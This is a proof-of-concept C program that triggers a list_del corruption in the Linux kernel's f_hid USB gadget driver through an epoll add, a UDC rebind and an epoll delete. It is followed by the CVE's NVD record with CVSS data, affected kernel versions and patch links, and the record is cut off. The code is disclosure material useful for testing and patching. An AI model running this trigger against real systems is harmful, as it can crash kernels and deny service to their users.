CVE-2026-31721

/* * PoC for CVE-2026-31721 * Trigger list_del corruption in f_hid gadget driver. * Compile: gcc -o poc poc.c */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/epoll.h> #include <stdlib.h> int main() { int fd, epfd; struct epoll_event ev; // 1. Open the HID gadget device fd = open("/dev/hidg0", O_RDWR); if (fd < 0) { perror("open /dev/hidg0"); return 1; } // 2. Create epoll instance epfd = epoll_create1(0); if (epfd < 0) { perror("epoll_create1"); close(fd); return 1; } // 3. Add fd to epoll (EPOLL_CTL_ADD) ev.events = EPOLLIN; ev.data.fd = fd; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev) < 0) { perror("epoll_ctl ADD"); close(epfd); close(fd); return 1; } printf("Step 1-3 done. Now perform UDC unbind and bind manually.\n"); printf("Press Enter to trigger EPOLL_CTL_DEL...\n"); getchar(); // 4. Remove fd from epoll (EPOLL_CTL_DEL) // This triggers the list_del corruption if (epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &ev) < 0) { perror("epoll_ctl DEL"); } close(epfd); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31721", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:34.490", "lastModified": "2026-05-06T20:56:34.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_hid: move list and spinlock inits from bind to alloc\n\nThere was an issue when you did the following:\n- setup and bind an hid gadget\n- open /dev/hidg0\n- use the resulting fd in EPOLL_CTL_ADD\n- unbind the UDC\n- bind the UDC\n- use the fd in EPOLL_CTL_DEL\n\nWhen CONFIG_DEBUG_LIST was enabled, a list_del corruption was reported\nwithin remove_wait_queue (via ep_remove_wait_queue). After some\ndebugging I found out that the queues, which f_hid registers via\npoll_wait were the problem. These were initialized using\ninit_waitqueue_head inside hidg_bind. So effectively, the bind function\nre-initialized the queues while there were still items in them.\n\nThe solution is to move the initialization from hidg_bind to hidg_alloc\nto extend their lifetimes to the lifetime of the function instance.\n\nAdditionally, I found many other possibly problematic init calls in the\nbind function, which I moved as well."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19", "versionEndExcluding": "5.10.253", "matchCriteriaId": "86625D80-8DDF-4C85-86FD-F543ECDDFBA4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.169", "matchCriteriaId": "DBEC0E5D-641C-4E98-A6D9-5799B10CE451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.135", "matchCriteriaId": "15C1A1B2-14EE-494C-AF3E-D5A7BA640B39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/13440c0db227c5db01da751ed966dde4cdd2ea18", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/26a879a41ed960b3fb4ec773ef2788c515c0e488", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4e0a88254ad59f6c53a34bf5fa241884ec09e8b2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5d1bb391ceeebb28327703dd07af8c6324af298f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/81aee4500055876883658b024b6fb61801afe134 ... (truncated)